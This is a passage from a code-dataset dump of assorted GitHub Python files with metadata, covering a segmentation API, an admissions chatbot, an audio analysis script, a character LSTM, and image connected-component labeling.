box_threshold = 0.3, \n text_threshold = 0.3, \n device = \"cuda\" \n )\n\ngrounded_sam_wrapper.load()\n\n@app.get(\"/\")\ndef read_root():\n return {\"Hello\": \"World\"}\n\n@app.post(\"/uploadImage/\")\nasync def create_upload_file(file: UploadFile = File(...)):\n start = time.time()\n \n try:\n file_path = os.path.join(parent_directory, \"outputs\", file.filename)\n with open(file_path, \"wb\") as image_file:\n image_file.write(file.file.read())\n masks, pred = grounded_sam_wrapper.run(file_path, \"bed\")\n end = time.time()\n print(end - start)\n masks = masks.cpu().numpy()\n masks = np.squeeze(masks, (0,1))\n masks = np.argwhere(masks & ~np.roll(masks, 1, axis=(0, 1)))\n random_samples = np.random.choice(masks.shape[0], size=100, replace=False)\n masks = masks[random_samples]\n masks = masks.tolist()\n end2 = time.time()\n print(end2 - end) \n \n return JSONResponse(content = {\"message\": {\"masks\": masks}}, status_code = 200)\n \n except Exception as e:\n return JSONResponse(content={\"message\": \"Error uploading image\", \"error\": str(e)}, status_code=500)\n \n ", "repo_name": "sichoi85/grounded_sam_api", "sub_path": "api/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1940, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "fastapi.FastAPI", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "grounded_sam_wrapper.Grounded_Sam_wrapper", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "grounded_sam_wrapper.load", "line_number": 28, "usage_type": "call"}, {"api_name": "fastapi.UploadFile", "line_number": 35, "usage_type": "name"}, {"api_name": "fastapi.File", "line_number": 35, "usage_type": "call"}, {"api_name": "time.time", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "grounded_sam_wrapper.run", "line_number": 42, "usage_type": "call"}, {"api_name": "time.time", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.argwhere", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.roll", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 48, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 51, "usage_type": "call"}, {"api_name": "fastapi.responses.JSONResponse", "line_number": 54, "usage_type": "call"}, {"api_name": "fastapi.responses.JSONResponse", "line_number": 57, "usage_type": "call"}]} +{"seq_id": "71100804487", "text": "# -*- coding: utf-8 -*-\r\n\r\nimport collections\r\nimport itertools\r\n\r\ndef func4(mat):\r\n m=len(mat)\r\n mm=[[0 for i in range(m)] for j in range(2*m-1)] \r\n\r\n for i in range(m):\r\n for j in range(m):\r\n if i+j 1500 else context\n\n # Construct the prompt to feed into the models, which is further modified at each file\n header = \"\"\"Provide a single answer to the question utilizing the provided context to the best of your ability.\\n\\n\"\"\"\n model_completion_prompt = context + \"\\nQuestion: \" + input + \"\\n\"\n\n # Loop allows multiple attempts at answering question in case the first try fails\n # Variability of responses\n for i in range(5):\n if (check_discrim(model_completion_prompt + \"Related:\")):\n # Produce output from completion model\n output = model_completion(header + model_completion_prompt + \"Answer:\")\n if (output['choices'][0][\"finish_reason\"] == 'stop' and output['choices'][0]['text'].replace(\" \", \"\") != \"\"):\n return output['choices'][0]['text'][1:] # Returns model output with the starting space removed\n \n return SORRY_MESSAGE\n\ndef model_completion(input):\n return openai.Completion.create(\n model=COMPLETION_MODEL,\n prompt=input,\n echo=False,\n max_tokens=200,\n stop=[\"Question\", \"\\n\\n\"],\n temperature = .5 # Lower variablity -> more objective responses\n )\n\ndef check_discrim(input):\n result = openai.Completion.create(\n model=DISCRIM_MODEL,\n prompt=input,\n echo=False,\n max_tokens=1,\n logprobs = 5,\n best_of = 3,\n temperature = .5\n )\n # logprobs uses discrim model to determine what the most appropriate response to the question is\n logprobs = result['choices'][0]['logprobs']['top_logprobs'][0]\n yes = logprobs[' yes'] if ' yes' in logprobs else -50\n no = logprobs[' no'] if ' no' in logprobs else -50\n\n return (yes > no)\n\n# Testing without util of front-end\nif __name__ == \"__main__\":\n while (True):\n user_prompt = input(\"Provide user input: \")\n if (user_prompt == \"exit\"):\n break\n\n print(format(user_prompt))", "repo_name": "DamiOyadiran/Chat-Bot-for-UTD-Admissions", "sub_path": "frontend_framework/backend/prompt_completion.py", "file_name": "prompt_completion.py", "file_ext": "py", "file_size_in_byte": 2835, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pandas.read_csv", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 6, "usage_type": "call"}, {"api_name": "backend.embedded_context.find_context", "line_number": 17, "usage_type": "call"}, {"api_name": "backend.embedded_context", "line_number": 17, "usage_type": "name"}, {"api_name": "openai.Completion.create", "line_number": 40, "usage_type": "call"}, {"api_name": "openai.Completion", "line_number": 40, "usage_type": "attribute"}, {"api_name": "openai.Completion.create", "line_number": 50, "usage_type": "call"}, {"api_name": "openai.Completion", "line_number": 50, "usage_type": "attribute"}]} +{"seq_id": "2791585353", "text": "from datetime import datetime, date, timedelta\n\nstart_date = date(year=2023, day=12, month=10)\nend_date = date(year=2023, day=31, month=10)\n\ndays = (end_date - start_date).days # -> timedelta\nprint(f\"{days} between {start_date} and {end_date}\")\n\nfor i in range(days + 1):\n res = start_date + timedelta(days=i)\n print(res.strftime(\"%Y-%m-%d\"))", "repo_name": "LadaM/goit-python", "sub_path": "python-basics/lectures/module_8/date/output_dates_between_two_days.py", "file_name": "output_dates_between_two_days.py", "file_ext": "py", "file_size_in_byte": 348, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "datetime.date", "line_number": 3, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 4, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 10, "usage_type": "call"}]} +{"seq_id": "27872870968", "text": "import sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation\nimport networkx\n\nclass City:\n\tstreets = None\n\n\tdef __init__(self, n_steps=100, nx=10, ny=10):\n\t\tself.create_streets(n_steps, nx, ny)\n\n\tdef create_streets(self, n_steps, nx, ny):\n\n\t\tnodes_and_edges = networkx.Graph()\n\n\t\tprevious_step = np.random.randint(3)\n\t\tstep_options = np.array([[1,0],[0,1],[-1,0],[0,-1]])\n\t\t#Starting position\n\t\tx = [np.random.randint(nx), np.random.randint(ny)]\n\t\tcurrent_node = x[0] + x[1]*nx\n\t\tprevious_step = np.random.randint(4)\n\n\t\tfor i in range(n_steps):\n\t\t\twhile(True):\n\t\t\t\tcurrent_step = np.random.randint(4)\n\t\t\t\tx += step_options[current_step]\n\t\t\t\tif(x[0] != nx and x[0] != -1 and x[1] != ny and x[1] !=-1):\n\t\t\t\t\tnodes_and_edges.add_nodes_from([current_node, x[0]+x[1]*nx])\n\t\t\t\t\tnodes_and_edges.add_edge(current_node, x[0]+x[1]*nx)\n\t\t\t\t\tcurrent_node = x[0] + x[1]*nx\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tx -= step_options[current_step]\n\n\t\tself.streets = nodes_and_edges\n\ndef animate_route(city, nx, ny, targets, route, name = \"test.mp4\", resolution = 100, frate = 10):\n\tffmpeg_writer = matplotlib.animation.writers['ffmpeg']\n\tanim_writer = ffmpeg_writer(fps=frate)\n\tfig = plt.figure()\n\tpositions = {}\n\tcar_marker, = plt.plot([],[], 'ro', markersize = 10)\n\tfor node in list(city.streets.nodes):\n\t\tpositions[node] = [node%nx, int(node/ny)]\n\n\tnetworkx.drawing.nx_pylab.draw_networkx_edges(city.streets, pos=positions)\n\tplt.plot([positions[node][0] for node in targets], [positions[node][1] for node in targets],\"*\")\n\tplt.plot([positions[node][0] for node in route], [positions[node][1] for node in route],'r')\n\n\twith anim_writer.saving(fig, name, resolution):\n\t\tfor node in route:\n\t\t\tcar_marker.set_data(positions[node][0], positions[node][1])\n\t\t\tanim_writer.grab_frame()\n\ndef draw_city(city, nx=10, ny=10, targets=[], route=[]):\n\tpositions = {}\n\tfor node in list(city.streets.nodes):\n\t\tpositions[node] = [node%nx, int(node/ny)]\n\n\tnetworkx.drawing.nx_pylab.draw_networkx_edges(city.streets, pos=positions)\n\tif(targets):\n\t\tplt.plot([positions[node][0] for node in targets], [positions[node][1] for node in targets],\"*\")\n\n\tif(route):\n\t\tplt.plot([positions[node][0] for node in route], [positions[node][1] for node in route],'r')\n\tplt.show()\n\ndef main():\n\tif(len(sys.argv)==4):\n\t\tNewYork = City(int(sys.argv[1]), int(sys.argv[2]), int(sys.argv[3]))\n\t\tdraw_city(NewYork, int(sys.argv[2]), int(sys.argv[3]))\n\telse:\n\t\tNewYork = City()\n\t\tdraw_city(NewYork)\n\nif __name__ == \"__main__\":\n\tmain()\n", "repo_name": "jantunenv/packet-delivery-optimizer", "sub_path": "citygenerator.py", "file_name": "citygenerator.py", "file_ext": "py", "file_size_in_byte": 2494, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "networkx.Graph", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 20, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 26, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.animation", "line_number": 39, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "networkx.drawing.nx_pylab.draw_networkx_edges", "line_number": 47, "usage_type": "call"}, {"api_name": "networkx.drawing", "line_number": 47, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "networkx.drawing.nx_pylab.draw_networkx_edges", "line_number": 61, "usage_type": "call"}, {"api_name": "networkx.drawing", "line_number": 61, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 70, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 71, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 72, "usage_type": "attribute"}]} +{"seq_id": "40415872726", "text": "from django.shortcuts import render_to_response\r\nfrom django.template import RequestContext\r\n\r\nfrom .models import Quote\r\n\r\ndef all_quotes(request):\r\n quote_list = Quote.objects.all().order_by('author')\r\n\r\n return render_to_response(\r\n 'quotes/all_quotes.html',\r\n {\r\n 'quote_list': quote_list,\r\n },\r\n context_instance=RequestContext(request)\r\n )\r\n", "repo_name": "ildoc/ildoc.it_django", "sub_path": "server/quotes/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 419, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "models.Quote.objects.all", "line_number": 7, "usage_type": "call"}, {"api_name": "models.Quote.objects", "line_number": 7, "usage_type": "attribute"}, {"api_name": "models.Quote", "line_number": 7, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 9, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 14, "usage_type": "call"}]} +{"seq_id": "30171650822", "text": "from pydub import AudioSegment, silence\nimport os\nimport numpy as np\nimport aubio\n\ndef calculate_pitch_in_memory(audio_data, sample_rate):\n samplerate = audio.frame_rate\n pitch_o = aubio.pitch(\"yin\", samplerate)\n \n # Open the WAV file\n audio_file = aubio.source(temp_wav_file)\n \n # Initialize variables\n pitch_values = []\n \n # Process the audio file and calculate pitch\n total_frames = 0\n while True:\n samples, read = audio_file()\n pitch = pitch_o(samples)[0]\n pitch_values.append(pitch)\n total_frames += read\n if read < samplerate:\n break\n \n # Clean up\n audio_file.close()\n \n # Calculate average pitch\n average_pitch = sum(pitch_values) / len(pitch_values)\n \n return average_pitch\n\ndef gender_identification(audio_data, sample_rate):\n # Calculate the average pitch of the audio\n average_pitch = calculate_pitch_in_memory(audio_data, sample_rate)\n \n # Define pitch thresholds for gender identification\n male_threshold = 120.0 # Adjust as needed\n female_threshold = 220.0 # Adjust as needed\n \n # Determine gender based on pitch\n if average_pitch < male_threshold:\n return \"Male\"\n elif average_pitch > female_threshold:\n return \"Female\"\n else:\n return \"Undetermined\"\n\n# Usage\nimport soundfile as sf\n\n# Load audio data (you can replace this with your own audio loading logic)\naudio_path = \"your_audio_file.wav\"\naudio_data, sample_rate = sf.read(audio_path)\n\n# Perform gender identification\ngender = gender_identification(audio_data, sample_rate)\nprint(\"Gender:\", gender)\n\n\ndef calculate_dynamic_threshold(audio, window_size=1000):\n \"\"\"\n Calculate a dynamic silence threshold based on a moving average of amplitude levels.\n\n Args:\n - audio (AudioSegment): The audio segment to analyze.\n - window_size (int): The size of the sliding window for calculating the threshold.\n\n Returns:\n - float: The dynamic silence threshold.\n \"\"\"\n audio = audio.set_channels(1) # Convert to mono for analysis\n audio_samples = audio.get_array_of_samples()\n num_samples = len(audio_samples)\n dynamic_thresholds = []\n\n for i in range(0, num_samples, window_size):\n window = audio_samples[i:i + window_size]\n rms = np.sqrt(np.mean(np.square(window)))\n dynamic_thresholds.append(rms)\n\n # Calculate the threshold as a percentile (e.g., 10th percentile)\n threshold = np.percentile(dynamic_thresholds, 10)\n\n return threshold\n\ndef detect_clipping(audio, threshold=0.99):\n max_amplitude = audio.max\n threshold_amplitude = max_amplitude * threshold\n\n clipped_samples = [i for i, sample in enumerate(audio) if abs(sample) >= threshold_amplitude]\n\n if clipped_samples:\n print(\"Clipping detected in samples:\", clipped_samples)\n return len(clipped_samples) / len(audio)\n else:\n print(\"No clipping detected.\")\n return 0.0\n\ndef get_audio_metadata(audio_file_path):\n try:\n # Load the audio file using pydub\n audio = AudioSegment.from_file(audio_file_path)\n\n # Calculate the dynamic silence threshold\n silence_threshold = calculate_dynamic_threshold(audio)\n\n # Detect audio clipping and calculate the percentage of clipped frames\n clipped_percentage = detect_clipping(audio)\n\n # Split audio into non-silent chunks using the dynamic threshold\n non_silent_chunks = silence.split_on_silence(audio, silence_thresh=silence_threshold)\n\n # Calculate ambient noise level (average RMS amplitude of silent chunks)\n silent_chunks_rms = [chunk.rms for chunk in non_silent_chunks]\n ambient_noise_level = np.mean(silent_chunks_rms)\n\n # Extract metadata\n duration_in_seconds = len(audio) / 1000.0 # Convert milliseconds to seconds\n channels = audio.channels\n sample_width = audio.sample_width\n frame_rate = audio.frame_rate\n\n return {\n 'File Name': os.path.basename(audio_file_path),\n 'Duration (s)': duration_in_seconds,\n 'Channels': channels,\n 'Sample Width (bytes)': sample_width,\n 'Frame Rate (Hz)': frame_rate,\n 'Ambient Noise Level': ambient_noise_level,\n 'Dynamic Silence Threshold': silence_threshold,\n 'Percentage of Clipped Frames': clipped_percentage * 100 # Convert to percentage\n }\n except Exception as e:\n return str(e)\n\nif __name__ == \"__main__\":\n # Specify the path to your audio file\n audio_file_path = \"path/to/your/audio/file.mp3\" # Change this to your audio file's path\n\n # Get and print audio metadata\n metadata = get_audio_metadata(audio_file_path)\n if isinstance(metadata, dict):\n print(\"Audio Metadata:\")\n for key, value in metadata.items():\n print(f\"{key}: {value}\")\n else:\n print(\"Error:\", metadata)\n", "repo_name": "falakmasir/audio_metadata", "sub_path": "audio_metadata.py", "file_name": "audio_metadata.py", "file_ext": "py", "file_size_in_byte": 4923, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "aubio.pitch", "line_number": 8, "usage_type": "call"}, {"api_name": "aubio.source", "line_number": 11, "usage_type": "call"}, {"api_name": "soundfile.read", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.square", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 84, "usage_type": "call"}, {"api_name": "pydub.AudioSegment.from_file", "line_number": 104, "usage_type": "call"}, {"api_name": "pydub.AudioSegment", "line_number": 104, "usage_type": "name"}, {"api_name": "pydub.silence.split_on_silence", "line_number": 113, "usage_type": "call"}, {"api_name": "pydub.silence", "line_number": 113, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path", "line_number": 126, "usage_type": "attribute"}]} +{"seq_id": "19593314497", "text": "import numpy as np\nfrom scipy.stats import norm\nimport pandas as pd\nimport random\n\ndef revert_diff(diff_values, start_values, period):\n x = np.r_[start_values, diff_values]\n for t in range(period, len(diff_values) + period):\n x[t] = sum(diff_values[np.arange(t % period, t, period)]) + \\\n start_values[t % period]\n return x\n\n# Example Time Series - weekly sales\nrandom.seed(11)\ny = np.zeros(52)\nfor i in range(1, 52):\n y[i] = y[i - 1] + norm.rvs(size=1, scale=2)\nx = np.arange(1, 53, 1)\nsales_df = pd.DataFrame(np.stack([x, y], axis=1), columns=[\"week\", \"volume\"])\nsales_df.to_csv(\"data/weekly-sales.csv\", index=False)", "repo_name": "Kaasiak/time-series-workshops", "sub_path": "helper.py", "file_name": "helper.py", "file_ext": "py", "file_size_in_byte": 649, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.r_", "line_number": 7, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 9, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 15, "usage_type": "call"}, {"api_name": "scipy.stats.norm.rvs", "line_number": 17, "usage_type": "call"}, {"api_name": "scipy.stats.norm", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 19, "usage_type": "call"}]} +{"seq_id": "22608812660", "text": "import torch\nimport torch.nn as nn\nfrom torch.utils.data import Dataset, DataLoader\nfrom torch.utils.data import WeightedRandomSampler\nimport torch.nn.functional as F\nfrom torch.optim import Adam\n\n\nclass char_lstm(nn.Module):\n def __init__(self, vocab, hidden_size, n_layers=1):\n super(char_lstm, self).__init__()\n self.n_layers = n_layers\n self.vocab_size = vocab\n self.lstm = nn.LSTM(vocab, hidden_size, n_layers, batch_first=False)\n self.linear = nn.Linear(hidden_size, vocab, bias=True)\n\n def forward(self, input, h0=None, c0=None):\n if h0==None or c0==None:\n output, (hn, cn) = self.lstm(input)\n else:\n output, (hn, cn) = self.lstm(input, (h0, c0))\n scores = self.linear(output)\n return scores, hn, cn\n\n def sample(self, x, txt_length=500):\n x = x.view(1, 1, self.vocab_size)\n h = torch.zeros(self.n_layers, 1, hidden_dim).to(device)\n c = torch.zeros(self.n_layers, 1, hidden_dim).to(device)\n txt = \"\"\n for i in range(txt_length):\n scores, h, c = self.forward(x, h, c)\n probs = nn.functional.softmax(scores, dim=2).view(self.vocab_size)\n pred = torch.tensor(list(WeightedRandomSampler(probs, 1, replacement=True)))\n x = F.one_hot(pred, num_classes=self.vocab_size)\n x = x.view(1, 1, self.vocab_size).type(torch.FloatTensor).to(device)\n next_character = idx_to_char[pred.item()]\n txt += next_character\n return txt\n\n\nclass CustomDataset(Dataset):\n def __init__(self, data_name):\n self.data = open(data_name + '.txt', 'r').read()\n chars = sorted(set(self.data))\n self.vocab_size = len(chars)\n self.char_to_idx = {ch: i for i, ch in enumerate(chars)}\n self.idx_to_char = {i: ch for i, ch in enumerate(chars)}\n print('data has %d characters, %d unique.' % (len(self.data), self.vocab_size))\n\n def __getitem__(self, index):\n x = self.char_to_idx[self.data[index]]\n x = torch.tensor([x])\n x = F.one_hot(x, num_classes=self.vocab_size)\n x = x.type(torch.FloatTensor)\n t = self.char_to_idx[self.data[index + (index < (self.__len__() - 1))]]\n t = torch.tensor([t])\n return (x.to(device), t.to(device))\n\n def __len__(self):\n return len(self.data)\n\n def params(self):\n return self.vocab_size, self.char_to_idx, self.idx_to_char\n\n\n############\n### Main ###\n############\ndevice = torch.device(\"cuda:0\")\n# hyperparameters\nseq_length = 100\nhidden_dim = 250\nn_layers = 1\nlr = 0.01\n\n# Create data loader\ntrain_data = CustomDataset('shakespeare')\ntrain_loader = DataLoader(dataset=train_data, batch_size=seq_length, shuffle=False)\n\n# Get important parameters from our dataset\nvocab_size, char_to_idx, idx_to_char = train_data.params()\n\n# Create our model and send it to device\nmodel = char_lstm(vocab_size, hidden_dim, n_layers=n_layers).to(device)\n\n# Loss function\nloss_fn = nn.CrossEntropyLoss()\n\n# Create optimizer\noptimizer = Adam(model.parameters(), lr=lr)\n\n# Initialize initial hidden and cell state\nh = torch.zeros(n_layers, 1, hidden_dim).to(device)\nc = torch.zeros(n_layers, 1, hidden_dim).to(device)\n\n### TRAIN LOOP\ni = 0\nfor inputs, targets in train_loader:\n\n # Forward run the model and get predictions\n scores, h, c = model(inputs, (h, c))\n\n loss = loss_fn(scores.squeeze(dim=1), targets.squeeze(dim=1))\n\n # Backpropagate the loss and update parameters\n loss.backward()\n optimizer.step()\n optimizer.zero_grad()\n\n # Print loss and sample text every 100 steps\n if i % 500 == 0:\n print('-' * 80)\n print(i, \": \", loss)\n print(model.sample(inputs[0]))\n print('-' * 80)\n i += 1\nprint(\"# of batches: \", i)", "repo_name": "josehoras/LSTM-Frameworks", "sub_path": "pytorch-nn-lstm-char.py", "file_name": "pytorch-nn-lstm-char.py", "file_ext": "py", "file_size_in_byte": 3785, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.nn.Module", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.nn.LSTM", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 32, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.utils.data.WeightedRandomSampler", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn.functional.one_hot", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 34, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 35, "usage_type": "attribute"}, {"api_name": "torch.utils.data.Dataset", "line_number": 41, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.nn.functional.one_hot", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 53, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 54, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 87, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 87, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 94, "usage_type": "call"}]} +{"seq_id": "36117965762", "text": "\nimport tkinter as tk\nfrom tkinter import messagebox\nfrom PIL import ImageTk, Image\nfrom tkinter import filedialog\nfrom PIL import *\nfrom PIL import Image, ImageDraw, ImageDraw2, ImageFont\nimport numpy as np\nimport math\n\n\nclass everything:\n def binary_image(nrow,ncol,Value):\n x, y = np.indices((nrow, ncol))\n mask_lines = np.zeros(shape=(nrow,ncol))\n\n x0, y0, r0 = 30, 30, 10\n x1, y1, r1 = 70, 30, 10\n\n for i in range (50, 70):\n mask_lines[i][i] = 1\n mask_lines[i][i + 1] = 1\n mask_lines[i][i + 2] = 1\n mask_lines[i][i + 3] = 1\n mask_lines[i][i + 6] = 1\n mask_lines[i-20][90-i+1] = 1\n mask_lines[i-20][90-i+2] = 1\n mask_lines[i-20][90-i+3] = 1\n\n mask_square1 = np.fmax(np.absolute( x - x1), np.absolute( y - y1)) <= r1\n imge = np.logical_or(mask_lines, mask_square1) * Value\n\n return imge\n\n def np2PIL(im):\n print(\"size of arr: \",im.shape)\n img = Image.fromarray(im, 'RGB')\n return img\n\n def np2PIL_color(im):\n print(\"size of arr: \",im.shape)\n img = Image.fromarray(np.uint8(im))\n return img\n\n def threshold(im,T, LOW, HIGH):\n (nrows, ncols) = im.shape\n im_out = np.zeros(shape = im.shape)\n for i in range(nrows):\n for j in range(ncols):\n if abs(im[i][j]) < T :\n im_out[i][j] = LOW\n else:\n im_out[i][j] = HIGH\n return im_out\n\n #Connected-component labeling\n def label_8_connected(bim, ONE):\n max_label = int(10000)\n nrow = bim.shape[0]\n ncol = bim.shape[1]\n print(\"nrow, ncol\", nrow, ncol)\n im = np.zeros(shape=(nrow,ncol), dtype = int)\n a = np.zeros(shape=max_label, dtype = int)\n a = np.arange(0,max_label, dtype = int)\n color_map = np.zeros(shape = (max_label,3), dtype= np.uint8)\n color_im = np.zeros(shape = (nrow, ncol,3), dtype= np.uint8)\n\n for i in range(max_label):\n np.random.seed(i)\n\n color_map[i][0] = np.random.randint(0,255,1,dtype = np.uint8)\n color_map[i][1] = np.random.randint(0,255,1,dtype = np.uint8)\n color_map[i][2] = np.random.randint(0,255,1,dtype = np.uint8)\n\n k = 0\n for i in range(nrow):\n for j in range(ncol):\n im[i][j] = max_label\n for i in range(1, nrow - 1):\n for j in range(1, ncol - 1):\n c = bim[i][j]\n l = bim[i][j - 1]\n u = bim[i - 1 ][j]\n\n d = bim[i - 1][j - 1]\n r = bim[i - 1][j + 1]\n\n label_u = im[i -1][j]\n label_l = im[i][j - 1]\n\n label_d = im[i - 1][j - 1]\n label_r = im[i - 1][j + 1]\n\n im[i][j] = max_label\n if c == ONE:\n min_label = min(label_u, label_l, label_d, label_r)\n if min_label == max_label:\n k += 1\n im[i][j] = k\n else:\n im[i][j] = min_label\n if min_label != label_u and label_u != max_label :\n everything.update_array(a, min_label, label_u)\n\n if min_label != label_l and label_l != max_label :\n everything.update_array(a, min_label, label_l)\n\n if min_label != label_d and label_d != max_label :\n everything.update_array(a, min_label, label_d)\n\n if min_label != label_r and label_r != max_label :\n everything.update_array(a, min_label, label_r)\n\n else :\n im[i][j] = max_label\n\n # final reduction in label array\n for i in range(k+1):\n index = i\n while a[index] != index:\n index = a[index]\n a[i] = a[index]\n\n #second pass to resolve labels and show label colors\n for i in range(nrow):\n for j in range(ncol):\n\n if bim[i][j] == ONE:\n im[i][j] = a[im[i][j]]\n if im[i][j] == max_label:\n im[i][j] == 0\n\n color_im[i][j][0] = 0\n color_im[i][j][1] = 0\n color_im[i][j][2] = 0\n\n color_im[i][j][0] = color_map[im[i][j],0]\n color_im[i][j][1] = 